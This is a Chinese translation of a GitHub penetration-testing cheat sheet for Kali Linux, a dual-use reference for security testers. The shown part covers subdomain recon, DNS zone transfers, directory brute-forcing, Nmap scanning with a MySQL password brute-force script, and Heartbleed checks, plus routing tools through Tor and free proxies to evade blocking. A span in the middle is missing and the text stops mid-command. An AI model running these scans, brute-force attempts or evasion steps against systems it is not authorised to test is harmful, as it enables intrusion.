ivan-sincek/penetration-testing-cheat-sheet

GitHub: ivan-sincek/penetration-testing-cheat-sheet

基于 Kali Linux 环境的全流程渗透测试速查手册,涵盖信息收集、漏洞扫描、利用及后渗透的详细命令与实战技巧。

Stars: 794 | Forks: 158

# 渗透测试速查表 这更多是我自己的一份检查清单。可能包含一些有用的技巧和提示。 我已经在我的项目 [ivan-sincek/auto-recon](https://github.com/ivan-sincek/auto-recon) 中自动化了这个速查表中的一些任务。Docker 镜像即将推出。 所有内容均在 Kali Linux v2024.2 (64-bit) 上进行了测试。 如需任何工具的帮助,请编写 ` [-h | -hh | --help]` 或 `man `。 有时 `-h` 可能会被误认为是主机或其他选项。如果是这种情况,请改用 `-hh` 或 `--help`,或者用 `man` 阅读手册。 有些工具执行的任务相似,但得到的结果略有不同。请尽可能运行所有工具。许多工具是互补的! 请记住,如果 URL 中未指定协议或端口号,即如果您只指定 `somesite.com`,某些工具将默认为 HTTP 协议和端口 80,即 `http://somesite.com:80`。 如果您还没有读过 [OWASP Web Security Testing Guide](https://github.com/OWASP/wstg),请阅读。检查清单可以在 [这里](https://github.com/OWASP/wstg/tree/master/checklists) 下载。 强烈推荐阅读 [Common Security Issues in Financially-Orientated Web](https://soroush.me/downloadable/common-security-issues-in-financially-orientated-web-applications.pdf)。 强烈推荐做 [PortSwigger Web Security Academy](https://portswigger.net/web-security/all-labs),非常被低估且超级便宜。 您在编写报告时应使用的网站: * [cwe.mitre.org/data](https://cwe.mitre.org/data) * [owasp.org/projects](https://owasp.org/projects) * [owasp.org/www-project-top-ten](https://owasp.org/www-project-top-ten) * [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html) * [first.org/cvss/calculator/4.0](https://www.first.org/cvss/calculator/4.0) * [bugcrowd.com/vulnerability-rating-taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) * [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository) * [attack.mitre.org](https://attack.mitre.org) 我的其他速查表: * [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet) * [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet) * [WiFi Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet) ## 目录 **0. [安装工具和设置](#0-install-tools-and-setup)** * [API Keys](#api-keys) * [User-Agents](#user-agents) * [DNS Resolvers](#dns-resolvers) * [ProxyChains-NG](#proxychains-ng) **1. [信息收集](#1-reconnaissance)** * [实用网站](#11-useful-websites) * [Dmitry](#dmitry) * [theHarvester](#theharvester) * [FOCA](#foca-fingerprinting-organizations-with-collected-archives) * [Sublist3r](#sublist3r) * [assetfinder](#assetfinder) * [Subfinder](#subfinder) * [Amass](#amass) * [dig](#dig) * [Fierce](#fierce) * [DNSRecon](#dnsrecon) * [host](#host) * [WHOIS](#whois) * [ASNmap](#asnmap) * [httpx](#httpx) * [gau](#gau) * [urlhunter](#urlhunter) * [Google Dorks](#google-dorks) * [Chad](#chad) * [PhoneInfoga](#phoneinfoga) * [git-dumper](#git-dumper) * [TruffleHog](#trufflehog) * [File Scraper](#file-scraper) * [katana](#katana) * [Scrapy Scraper](#scrapy-scraper) * [目录模糊测试](#directory-fuzzing) * [DirBuster](#dirbuster) * [feroxbuster](#feroxbuster) * [snallygaster](#snallygaster) * [IIS Tilde Short name Scanning](#iis-tilde-short-name-scanning) * [WhatWeb](#whatweb) * [Parsero](#parsero) * [EyeWitness](#eyewitness) * [字典](#wordlists) **2. [扫描/枚举](#2-scanningenumeration)** * [实用网站](#21-useful-websites) * [Nmap](#nmap) * [testssl.sh](#testsslsh) * [OpenSSL](#openssl) * [keytool](#keytool) * [uncover](#uncover) **3. [漏洞评估/利用](#3-vulnerability-assesmentexploiting)** * [实用网站](#31-useful-websites) * [Collaborator Servers](#collaborator-servers) * [Subdomain Takeover](#subdomain-takeover) * [Subzy](#subzy) * [subjack](#subjack) * [绕过 401 和 403](#bypassing-the-401-and-403) * [Nikto](#nikto) * [WPScan](#wpscan) * [Nuclei](#Nuclei) * [Arjun](#arjun) * [WFUZZ](#wfuzz) * [Insecure Direct Object Reference (IDOR)](#insecure-direct-object-reference-idor) * [HTTP Response Splitting](#http-response-splitting) * [Cross-Site Scripting \(XSS\)](#cross-site-scripting-xss) * [SQL Injection](#sql-injection) * [sqlmap](#sqlmap) * [dotdotpwn](#dotdotpwn) * [Web Shells](#web-shells) * [使用 Python 发送 Payload](#send-a-payload-with-python) **4. [后渗透](#4-post-exploitation)** * [实用网站](#41-useful-websites) * [为 Windows OS 生成反向 Shell Payload](#generate-a-reverse-shell-payload-for-windows-os) * [PowerShell 编码命令](#powershell-encoded-command) **5. [密码破解](#5-password-cracking)** * [实用网站](#51-useful-websites) * [crunch](#crunch) * [hash-identifier](#hash-identifier) * [Hashcat](#hashcat) * [破解 JWT](#cracking-the-jwt) * [Hydra](#hydra) * [密码喷洒](#password-spraying) **6. [社会工程学](#6-social-engineering)** * [Drive-by Download](#drive-by-download) * [钓鱼网站](#phishing-website) **7. [杂项](#7-miscellaneous)** * [实用网站](#71-useful-websites) * [cURL](#curl) * [Ncat](#ncat) * [multi/handler](#multihandler) * [ngrok](#ngrok) * [附加参考](#additional-references) ## 0. 安装工具和设置 大多数工具可以使用 Linux 包管理器安装: ``` apt-get update && apt-get -y install sometool ``` 更多信息请参阅 [kali.org/tools](https://www.kali.org/tools)。 有些 Python 工具需要手动下载并安装: ``` python3 setup.py install ``` 或者,从 [PyPi](https://pypi.org) 安装: ``` pip3 install sometool python3 -m pip install sometool ``` 有些 Golang 工具需要手动下载并构建: ``` go build sometool.go ``` 或者,直接安装: ``` go install -v github.com/user/sometool@latest ``` 更多信息请参阅 [pkg.go.dev](https://pkg.go.dev)。 要设置 Golang,请运行: ``` apt-get -y install golang echo "export GOROOT=/usr/lib/go" >> ~/.zshrc echo "export GOPATH=$HOME/go" >> ~/.zshrc echo "export PATH=$GOPATH/bin:$GOROOT/bin:$PATH" >> ~/.zshrc source ~/.zshrc ``` 如果您使用其他控制台,可能需要写入 `~/.bashrc` 等。 有些以二进制或 shell 脚本形式存在的工具,为了便于使用,可以移动到 `/usr/bin/` 目录: ``` mv sometool.sh /usr/bin/sometool && chmod +x /usr/bin/sometool ``` 有些 Java 工具需要手动下载并使用 Java (JRE) 运行: ``` java -jar sometool.jar ``` ### API 密钥 集成到您的工具中的有用 API 列表: * [scrapeops.io](https://scrapeops.io) - 机器人安全的 User-Agents * [shodan.io](https://developer.shodan.io) - IoT 搜索引擎等 * [censys.io](https://search.censys.io/api) - 域名查询等 * [github.com](https://github.com/settings/tokens) - 公共源代码仓库查询 * [virustotal.com](https://developers.virustotal.com/reference/overview) - 恶意软件数据库查询 * [cloud.projectdiscovery.io](https://cloud.projectdiscovery.io) - ProjectDiscovery 工具 ### User-Agents 下载机器人安全的 User-Agents 列表,需要 [scrapeops.io](https://scrapeops.io) API key: ``` python3 -c 'import json, requests; open("./user_agents.txt", "w").write(("\n").join(requests.get("http://headers.scrapeops.io/v1/user-agents?api_key=SCRAPEOPS_API_KEY&num_results=100", verify = False).json()["result"]))' ``` ### DNS 解析器 下载受信任的 DNS resolvers 列表,或从 [trickest/resolvers](https://github.com/trickest/resolvers) 手动下载: ``` python3 -c 'import json, requests; open("./resolvers.txt", "w").write(requests.get("https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt", verify = False).text)' ``` ### ProxyChains-NG 如果 Google 或任何其他搜索引擎或服务阻止了您的工具,请使用 ProxyChains-NG 和 Tor 来绕过限制。 安装: ``` apt-get update && apt-get -y install proxychains4 tor torbrowser-launcher ``` 在 `/etc/proxychains4.conf` 中进行以下更改: ``` round_robin chain_len = 1 proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 9050 ``` 确保注释掉除 `round_robin` 以外的任何链类型 - 例如,将 `strict_chain` 注释为 `# strict_chain`。 启动 Tor: ``` service tor start ``` 然后,运行您想要的任何工具: ``` proxychains4 sometool ``` 仅使用 Tor 可能是不够的,您需要向 `/etc/proxychains4.conf` 添加更多代理 \([1](https://geonode.com/free-proxy-list)\)\([2](https://proxyscrape.com/home)\);但是,很难找到尚未被列入黑名单的免费且稳定的代理。 下载免费代理列表: ``` curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[]) \(.ip) \(.port)"' > proxychains.txt curl -s 'https://proxylist.geonode.com/api/proxy-list?limit=50&page=1&sort_by=lastChecked&sort_type=desc' -H 'Referer: https://proxylist.geonode.com/' | jq -r '.data[] | "\(.protocols[])://\(.ip):\(.port)"' > proxies.txt ``` ## 1. 信息收集 请记住,某些 \[旧版\] 网站可能只能通过特定的 Web 浏览器(如 MS Internet Explorer 或 MS Edge)访问。 请记住,某些网站可能缺少索引页,并且可能不会将您重定向到真正的主页。如果是这种情况,请尝试手动猜测主页的完整路径,使用 [wayback machine](https://archive.org) 或 [gau](#gau) 查找旧 URL,或尝试使用 [feroxbuster](#feroxbuster) 或 [DirBuster](#dirbuster) 进行目录模糊测试。 在 Internet 上搜索特定 Web 应用程序的默认/预定义路径和文件。将收集到的信息与 [Google Dorks](#google-dorks)、[Chad](#chad) 和 [httpx](#httpx) 结合使用,以在不同的 \[子\] 域上查找相同的路径和文件。对于不太常见的 Web 应用程序,请尝试查找并浏览源代码以获取默认/预定义路径和文件。 您可以在 [GitHub](https://github.com)、[GitLab](https://gitlab.com)、[Bitbucket](https://bitbucket.org)、[searchcode](https://searchcode.com) 等处找到应用程序的源代码。 使用 [TruffleHog](#trufflehog) 和 [File Scraper](#file-scraper) 在应用程序的源代码中搜索硬编码的敏感信息。不要忘记检查旧的 GitHub 提交中是否有旧但仍然有效的 API keys 或凭据。 检查 Web 控制台是否存在可能的错误。检查应用程序的源代码是否存在可能的注释。 **不要忘记通过 IP 地址访问 Web 服务器,因为您可能会发现服务器的默认欢迎页面或其他内容。** 在开始您的 OSINT 之前,请阅读什么是 [ASN](https://www.arin.net/resources/guide/asn) 和 [CIDR](https://aws.amazon.com/what-is/cidr)。 ### 1.1 实用网站 * [whois.domaintools.com](https://whois.domaintools.com) * [otx.alienvault.com](https://otx.alienvault.com) - 域名查询 * [reverseip.domaintools.com](https://reverseip.domaintools.com) - 基于 Web 的反向 IP 查询 * [lookup.icann.org](https://lookup.icann.org) * [sitereport.netcraft.com](https://sitereport.netcraft.com) * [searchdns.netcraft.com](https://searchdns.netcraft.com) - 基于 Web 的 DNS 查询 * [search.censys.io](https://search.censys.io) - 域名查询等 * [crt.sh](https://crt.sh) - 证书指纹识别 * [commoncrawl.org](https://commoncrawl.org/get-started) - Web 爬取转储 * [opendata.rapid7.com](https://opendata.rapid7.com) - 扫描转储 * [searchcode.com](https://searchcode.com) * [virustotal.com](https://www.virustotal.com/gui/home/search) - 恶意软件数据库查询 * [haveibeenpwned.com](https://haveibeenpwned.com) * [intelx.io](https://intelx.io) - 数据库泄露 * [search.wikileaks.org](https://search.wikileaks.org) * [archive.org](https://archive.org) - wayback machine * [pgp.circl.lu](https://pgp.circl.lu) - OpenPG 密钥服务器 * [shodan.io](https://www.shodan.io) - IoT 搜索引擎 * [sherlockeye.io](https://sherlockeye.io) - 账户查询 * [whoisds.com](https://www.whoisds.com/newly-registered-domains) - 新注册域名 * [radar.cloudflare.com](https://radar.cloudflare.com) - 网站查询等 ### Dmitry 收集信息: ``` dmitry -wines -o dmitry_results.txt somedomain.com ``` 已弃用。Netcraft 搜索不起作用。 ### theHarvester 收集信息: ``` theHarvester -f theharvester_results.json -b baidu,certspotter,chaos,commoncrawl,crtsh,duckduckgo,gitlab,hackertarget,hudsonrock,otx,rapiddns,robtex,subdomaincenter,subdomainfinderc99,thc,threatcrowd,urlscan,waybackarchive,yahoo -l 500 -d somedomain.com ``` 该工具经常更改搜索引擎,因此,在阅读本文时,其中一些可能不起作用。 有时输出文件可能默认为 `/usr/lib/python3/dist-packages/theHarvester/` 目录。 从结果中提取子域: ``` jq '.hosts[]' theharvester_results.json | sort -uf | tee -a subdomains.txt ``` 从结果中提取 IP: ``` jq '.ips // empty | .[]' theharvester_results.json | sort -uf | tee -a ips.txt jq '.hosts // empty | .[] | select(contains(":")) | split(":")[1]' theharvester_results.json | sort -uf | tee -a ips.txt ``` 从结果中提取子域: ``` jq '.hosts // empty | .[] | select(contains(":") | not)' theharvester_results.json | sort -uf | tee -a subdomains.txt jq '.hosts // empty | .[] | select(contains(":")) | split(":")[0]' theharvester_results.json | sort -uf | tee -a subdomains.txt ``` 从结果中提取电子邮件: ``` jq '.emails // empty | .[]' theharvester_results.json | sort -uf | tee -a emails.txt ``` 从结果中提取 ASN: ``` jq '.asns // empty | .[]' theharvester_results.json | sort -uf | tee -a asns.txt ``` ### FOCA (Fingerprinting Organizations with Collected Archives) 在文件中查找元数据和隐藏信息。 在 Windows 10 Enterprise OS (64-bit) 上测试。 最低要求: * 下载并安装 [MS SQL Server 2014 Express](https://www.microsoft.com/en-us/download/details.aspx?id=42299) 或更高版本, * 下载并安装 [MS .NET Framework 4.7.1 Runtime](https://dotnet.microsoft.com/download/dotnet-framework/net471) 或更高版本, * 下载并安装 [MS Visual C++ 2010 (64-bit)](https://www.microsoft.com/en-us/download/developer-tools.aspx) 或更高版本, * 下载并安装 [FOCA](https://github.com/ElevenPaths/FOCA/releases)。 GUI 非常直观。 ### Sublist3r 使用 OSINT 收集子域: ``` sublist3r -o sublister_results.txt -d somedomain.com ``` ### assetfinder 使用 OSINT 收集子域: ``` assetfinder --subs-only somedomain.com | grep -v '*' | tee assetfinder_results.txt ``` ### Subfinder 安装: ``` go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest ``` 使用 OSINT 收集子域: ``` subfinder -t 10 -timeout 3 -nW -o subfinder_results.txt -rL resolvers.txt -d somedomain.com ``` **Subfinder 具有内置的 DNS resolvers。** 在 `/root/.config/subfinder/config.yaml` 文件中设置您的 API keys,如下所示: ``` shodan: - SHODAN_API_KEY censys: - CENSYS_API_ID:CENSYS_API_SECRET github: - GITHUB_API_KEY virustotal: - VIRUSTOTAL_API_KEY ``` ### Amass 使用 OSINT 收集子域: ``` amass enum -o amass_results.txt -trf resolvers.txt -d somedomain.com ``` **Amass 具有内置的 DNS resolvers。** 从结果中提取 IP: ``` grep '(?<=(?:a_record|contains)\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a ips.txt ``` 从结果中提取子域: ``` grep '^[^\s]+(?=\ \(FQDN\))|(?<=ptr_record\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a subdomains.txt ``` 从结果中提取规范名称 (CNAMEs): ``` grep '(?<=(?:a_record|contains)\ \-\-\>\ )[^\s]+' amass_results.txt | sort -uf | tee -a cnames.txt ``` 下面的 ASN 和 CIDR 扫描将需要很长时间才能完成。 **如果 ASN 属于云提供商,您将获得很多 CIDRs / IPs,这可能并不完全在您的范围内!** 从 ASN 收集子域: ``` amass intel -o amass_asn_results.txt -trf resolvers.txt -asn 13337 ``` 从 CIDR 收集子域: ``` amass intel -o amass_cidr_results.txt -trf resolvers.txt -cidr 192.168.8.0/24 ``` ### dig 获取名称服务器: ``` dig +noall +answer -t NS somedomain.com ``` 获取邮件交换服务器: ``` dig +noall +answer -t MX somedomain.com ``` 查询名称服务器: ``` dig +noall +answer -t ANY somedomain.com @ns.somedomain.com ``` 从名称服务器获取区域文件: ``` dig +noall +answer -t AXFR somedomain.com @ns.somedomain.com ``` 反向 IP 查询: ``` dig +noall +answer -x 192.168.8.5 ``` \[Subdomain Takeover\] 检查子域是否已失效,查找 `NXDOMAIN`、`SERVFAIL` 或 `REFUSED` 状态码: ``` for subdomain in $(cat subdomains.txt); do res=$(dig "${subdomain}" -t A +noall +comments +timeout=3 | grep -Po '(?<=status\:\ )[^\s]+(?DirBuster

图 1 - DirBuster

所有 DirBuster 的字典都位于 `/usr/share/dirbuster/wordlists/` 目录中。 ### feroxbuster 暴力破解 Web 服务器上的目录: ``` cat subdomains_live_long.txt | feroxbuster --stdin -k -n --auto-bail --random-agent -t 50 -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w raft-small-directories-lowercase.txt ``` 该工具比 [DirBuster](#dirbuster) 快得多。 从结果中过滤出目录: ``` jq -r 'select(.status | tostring | test("^2")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx.txt jq -r 'select(.status | tostring | test("^2|^4")).url' feroxbuster_results.json | sort -uf | tee -a directories_2xx_4xx.txt jq -r 'select(.status | tostring | test("^3")).url' feroxbuster_results.json | sort -uf | tee -a directories_3xx.txt jq -r 'select(.status | tostring | test("^401$")).url' feroxbuster_results.json | sort -uf | tee -a directories_401.txt jq -r 'select(.status | tostring | test("^403$")).url' feroxbuster_results.json | sort -uf | tee -a directories_403.txt ``` | 选项 | 描述 | | --- | --- | | -u | 目标 URL(必需,除非使用 \[--stdin \| --resume-from\]) | | --stdin | 从 STDIN 读取 URL | | -a/-A | 设置 User-Agent(默认:feroxbuster\/x.x.x) \/ 使用随机 User-Agent | | -x | 要搜索的文件扩展名(例如:-x php -x pdf,js) | | -m | 应发送哪些 HTTP 请求方法(默认:GET) | | --data | 请求体;如果输入以 @ 开头,则可以从文件读取数据(例如:@post.bin) | | -H | 指定在每个请求中使用的 HTTP headers(例如:-H header:val -H 'stuff:things') | | -b | 指定在每个请求中使用的 HTTP cookies(例如:-b stuff=things) | | -Q | 请求的 URL 查询参数(例如:-Q token=stuff -Q secret=key) | | -f | 在每个请求的 URL 后附加 \/ | | -s | 要包含的状态码(允许列表)(默认:200,204,301,302,307,308,401,403,405) | | -T | 客户端请求超时前的秒数(默认:7) | | -k | 禁用客户端的 TLS 证书验证 | | -t | 并发线程数(默认:50) | | -n | 不递归扫描 | | -w | 字典路径 | | --auto-bail | 遇到过多错误时自动停止扫描 | | -B | 自动请求“找到”的 URL 可能的备份扩展名(默认:~, .bak, .bak2, .old, .1) | | -q | 隐藏进度条和横幅(适用于带有通知的 tmux 窗口) | | -o | 写入结果的输出文件(与 --json 一起使用以获取 JSON 条目) | ### snallygaster 从 [GitHub](https://github.com/hannob/snallygaster/releases) 下载最新版本。查看如何 [安装](#0-install-tools-and-setup) 该工具。 在 Web 服务器中搜索敏感文件: ``` snallygaster --nowww somesite.com | tee snallygaster_results.txt for subdomain in $(cat subdomains_live_short_http.txt); do snallygaster --nohttps --nowww "${subdomain}"; done | tee snallygaster_http_results.txt for subdomain in $(cat subdomains_live_short_https.txt); do snallygaster --nohttp --nowww "${subdomain}"; done | tee snallygaster_https_results.txt ``` ### IIS Tilde 短名称扫描 下载: ``` git clone https://github.com/irsdl/IIS-ShortName-Scanner && cd IIS-ShortName-Scanner/release ``` 在 IIS 服务器中搜索文件和目录: ``` java -jar iis_shortname_scanner.jar 2 30 https://somesite.com ``` ### WhatWeb 识别网站: ``` whatweb -v somesite.com ``` ### Parsero 测试所有 `robots.txt` 条目: ``` parsero -sb -u somesite.com ``` ### EyeWitness 从网站抓取截图: ``` eyewitness --no-prompt --no-dns --threads 5 --timeout 3 -d eyewitness_results -f subdomains_live_long.txt ``` 要查看截图,请导航到 `eyewitness_results/screens` 目录。 ### 字典 您可以在 `/usr/share/wordlists/` 目录内或 [SecLists](https://github.com/danielmiessler/SecLists) 中找到 `rockyou.txt` - 一个用于安全评估的多种类型字典的有用集合。 安装 SecLists(集合将存储在 `/usr/share/seclists/` 目录中): ``` apt-get update && apt-get install seclists ``` 我对 SecLists 的贡献:[danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts) 其他流行的字典集合: * [ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths) * [xmendez/wfuzz](https://github.com/xmendez/wfuzz) * [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists) * [weakpass.com/wordlist](https://weakpass.com/wordlist* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists) ## 2. 扫描/枚举 请记住,Web 应用程序或服务可以托管在 80 (HTTP) 和 443 (HTTPS) 以外的其他端口上,例如,它们可以托管在端口 8443 (HTTPS) 上。 请记住,在端口 80 (HTTP) 和 443 (HTTPS) 上,Web 服务器可以托管不同的 Web 应用程序或服务。使用 [Ncat](#ncat) 或 Telnet 进行 banner 抓取。 请记住,在不同的 URL 路径上,Web 服务器可以托管不同的 Web 应用程序或服务,例如 `somesite.com/app_one/` 和 `somesite.com/app_two/`。 在扫描漏洞或运行其他密集型扫描时,请定期检查 Web 应用程序或服务是否崩溃,以便您可以尽快通知您的客户;或者如果您被 Web 应用程序防火墙 (WAF) 或其他安全产品限制了速率,请暂停扫描,因为您的后续请求将被阻止,您的结果将不完整。 如果 Web 应用程序或服务突然停止响应,请尝试使用您的移动数据 (4G/5V) 访问该 Web 应用程序或服务,即使用不同的 IP。您当前的 IP 可能已被暂时屏蔽。 向目标域中不存在的地址发送电子邮件,通常会通过未送达通知 (NDN) 显示有用的内部网络信息。 获取免费的 [Nessus Community](https://community.tenable.com/s/article/Nessus-Essentials),如果您负担得起,请获取 [Burp Suite Professional](https://portswigger.net/burp) 或 [Caido](https://caido.io)。 ### 2.1 实用网站 * [ipaddressguide.com/cidr](https://www.ipaddressguide.com/cidr) * [account.arin.net/public/cidrCalculator](https://account.arin.net/public/cidrCalculator) * [calculator.net/ip-subnet-calculator.html](https://www.calculator.net/ip-subnet-calculator.html) * [speedguide.net/ports.php](https://www.speedguide.net/ports.php) * [securityheaders.com](https://securityheaders.com) * [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) - Content Security Policy 评估器 ### Nmap **为了获得更好的结果,请使用 IP 而不是域名。** Ping 扫描,映射存活主机: ``` nmap -sn -oG nmap_ping_sweep_results.txt 192.168.8.0/24 nmap -sn -oG nmap_ping_sweep_results.txt -iL cidrs.txt ``` **某些 Web 服务器不会响应 ping (ICMP) 请求,因此存活主机的映射将不准确。** 从结果中提取存活主机: ``` grep -Po '(?<=Host\:\ )[^\s]+' nmap_ping_sweep_results.txt | sort -uf | tee -a ips_live.txt ``` TCP 扫描,所有端口: ``` nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- 192.168.8.0/24 nmap -nv -sS -sV -sC -Pn -oN nmap_tcp_results.txt -p- -iL cidrs.txt ``` 自动化 TCP 扫描: ``` mkdir nmap_tcp_results for ip in $(cat ips_live.txt); do nmap -nv -sS -sV -sC -Pn -oN "nmap_tcp_results/nmap_tcp_results_${ip//./_}.txt" -p- "${ip}"; done ``` UDP 扫描,仅重要端口: ``` nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 192.168.8.0/24 nmap -nv -sU -sV -sC -Pn -oN nmap_udp_results.txt -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 -iL cidrs.txt ``` 自动化 UDP 扫描: ``` mkdir nmap_udp_results for ip in $(cat ips_live.txt); do nmap -nv -sU -sV -sC -Pn -oN "nmap_udp_results/nmap_udp_results_${ip//./_}.txt" -p 53,67,68,69,88,123,135,137,138,139,161,162,389,445,500,514,631,1900,4500 "${subdomain}"; done ``` | 选项 | 描述 | | --- | --- | | -sn | Ping 扫描 - 禁用端口扫描 | | -Pn | 将所有主机视为在线 -- 跳过主机发现 | | -n/-R | 从不进行 DNS 解析/始终解析(默认:有时) | | -sS/sT/sA | TCP SYN/Connect()/ACK | | -sU | UDP 扫描 | | -p/-p- | 仅扫描指定端口/扫描所有端口 | | --top-ports | 扫描 个最常见端口 | | -sV | 探测开放端口以确定服务/版本信息 | | -O | 启用 OS 检测 | | -sC | 与 --script=default 相同 | | --script | 脚本扫描(需要时间完成) | | --script-args | 向脚本提供参数 | | --script-help | 显示有关脚本的帮助 | | -oN/-oX/-oG | 以正常、XML 和 Grepable 格式输出扫描 | | -v | 提高详细级别(使用 -vv 或更多以获得更好的效果) | | --reason | 显示端口处于特定状态的原因 | | -A | 启用 OS 检测、版本检测、脚本扫描和 traceroute | 所有 Nmap 脚本都位于 `/usr/share/nmap/scripts/` 目录中。在 [这里](https://nmap.org/nsedoc) 阅读有关脚本的更多信息。 NSE 示例: ``` nmap -nv --script='mysql-brute' --script-args='userdb="users.txt", passdb="rockyou.txt"' 192.168.8.5 -p 3306 nmap -nv --script='dns-brute' --script-args='dns-brute.domain="somedomain.com", dns-brute.hostlist="subdomains-top1mil.txt"' nmap -nv --script='ssl-heartbleed' -iL cidrs.txt ``` 您可以在 [SecLists](#wordlists) 中找到 `rockyou.txt` 和 `subdomains-top1mil.txt` 字典。 我更喜欢使用 [Nuclei](#nuclei) 进行漏洞扫描。 ### testssl.sh 安装: ``` apt-get update && apt-get -y install testssl.sh ``` 测试 SSL/TLS 证书(例如,SSL/TLS 密码、协议等): ``` testssl --openssl /usr/bin/openssl -oH testssl_results.html somesite.com ``` 您也可以使用 testssl.sh 利用 SSL/TLS 漏洞。 ### OpenSSL 测试 Web 服务器的 Heartbleed 漏洞: ``` for subdomain in $(cat subdomains_live.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}:443" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt for subdomain in $(cat subdomains_live_short_https.txt); do res=$(echo "Q" | openssl s_client -connect "${subdomain}" 2>&1 | grep 'server extension "heartbeat" (id=15)'); if [[ ! -z $res ]]; then echo "${subdomain}"; fi; done | tee openssl_heartbleed_results.txt ``` ### keytool 获取 SSL/TLS 证书: ``` keytool -printcert -rfc -sslserver somesite.com > keytool_results.txt openssl x509 -noout -text -in keytool_results.txt ``` 使用 [uncover](#uncover) 与 Shodan 和 Censys SSL/TLS Dorks 查找更多范围内的子域。 ### uncover 安装: ``` go install -v github.com/projectdiscovery/uncover/cmd/uncover@latest ``` 在 `/root/.config/uncover/provider-config.yaml` 中设置您的 API keys,如下所示: ``` shodan: - SHODAN_API_KEY censys: - CENSYS_API_ID:CENSYS_API_SECRET ``` 基于 SSL/TLS 证书主题通用名 (CN) 收集 IP: ``` uncover -json -o uncover_cert_shodan_results.json -l 100 -e shodan -q 'ssl.cert.subject.CN:"*.somedomain.com"' uncover -json -o uncover_cert_censys_results.json -l 100 -e censys -q 'cert.parsed.subject.common_name:"*.somedomain.com"' ``` ## 3. 漏洞评估/利用 始终尝试空会话登录,即无密码登录,或在 Internet 上搜索特定 Web 应用程序的默认凭据。 尝试操纵 cookies 或 JWT tokens 以获取访问权限或提升权限。注销时,始终检查是否有任何 cookies 或 JWT tokens 仍然有效。 始终检查 Web 浏览器的本地存储,尤其是在测试单页应用程序 (SPA) 时。 尝试转换,例如,将 HTTP POST 请求转换为 HTTP GET 请求,即转换为查询字符串,看看服务器会如何反应。 在 Web 浏览器中关闭 JavaScript,并再次检查 Web 应用程序的行为。 在移动设备上检查 Web 应用程序的行为,因为某些功能可能工作方式不同。尝试欺骗您的 User-Agent 或尝试访问 `m.somesite.com`。 如果您想自动化您的代码注入测试,请查看 [字典](#wordlists) 子部分以获取代码注入字典。一些字典还包括混淆的代码注入。 如果您看到任何金额或数量,请尝试使用 [danielmiessler/SecLists/tree/master/Fuzzing/Amounts](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/Amounts) 字典,因为它可能会导致意外行为、错误,甚至绕过最小和最大边界。 **不要忘记清理现场。移除所有创建的工件,包括恶意软件、漏洞利用程序、工具、脚本等,并在完成测试后从目标主机还原所有设置和更改。** ### 3.1 实用网站 * [cvedetails.com](https://www.cvedetails.com) * [exploit-db.com](https://www.exploit-db.com) * [cxsecurity.com](https://cxsecurity.com/wlb) * [hakluke/weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads) * [namecheap.com](https://www.namecheap.com) - 廉价购买域名 * [streaak/keyhacks](https://github.com/streaak/keyhacks) - 验证 API keys * [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) * [jwt.io](https://jwt.io) * [portswigger.net/web-security](https://portswigger.net/web-security) * [bigiamchallenge.com](https://bigiamchallenge.com) - 不错的 AWS CTF ### Collaborator 服务器 在尝试利用开放重定向、盲跨站脚本 (XSS)、DNS 和 HTTP 交互等时使用。 * [interactsh.com](https://app.interactsh.com) * [Burp Collaborator](https://portswigger.net/burp/documentation/collaborator) * [canarytokens.org](https://canarytokens.org/generate) * [webhook.site](https://webhook.site) ### 子域名接管 为指定目标收集尽可能多的信息,请参阅 [1. 信息收集](#1-reconnaissance)。 使用 [WHOIS](#whois) 收集组织名称,使用 [host](#host) 收集规范名称。 您可以使用 [dig](#dig) 再次检查子域是否已失效,或使用 [httpx](#httpx) 检查是否存活。 在 [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) 检查找到的子域的托管提供商是否容易受到子域接管的。归功于作者! 最大的云服务提供商: * [aws.amazon.com](https://aws.amazon.com) * [azure.microsoft.com](https://azure.microsoft.com) * [cloud.google.com](https://cloud.google.com) * [wordpress.com](https://wordpress.com) * [shopify.com](https://www.shopify.com) ### Subzy 安装: ``` go install -v github.com/lukasikic/subzy@latest ``` 检查子域接管: ``` subzy -concurrency 100 -timeout 3 -targets subdomains_errors.txt | tee subzy_results.txt ``` ### subjack 安装: ``` go install -v github.com/haccer/subjack@latest ``` 检查子域接管: ``` subjack -v -o subjack_results.json -t 100 -timeout 3 -a 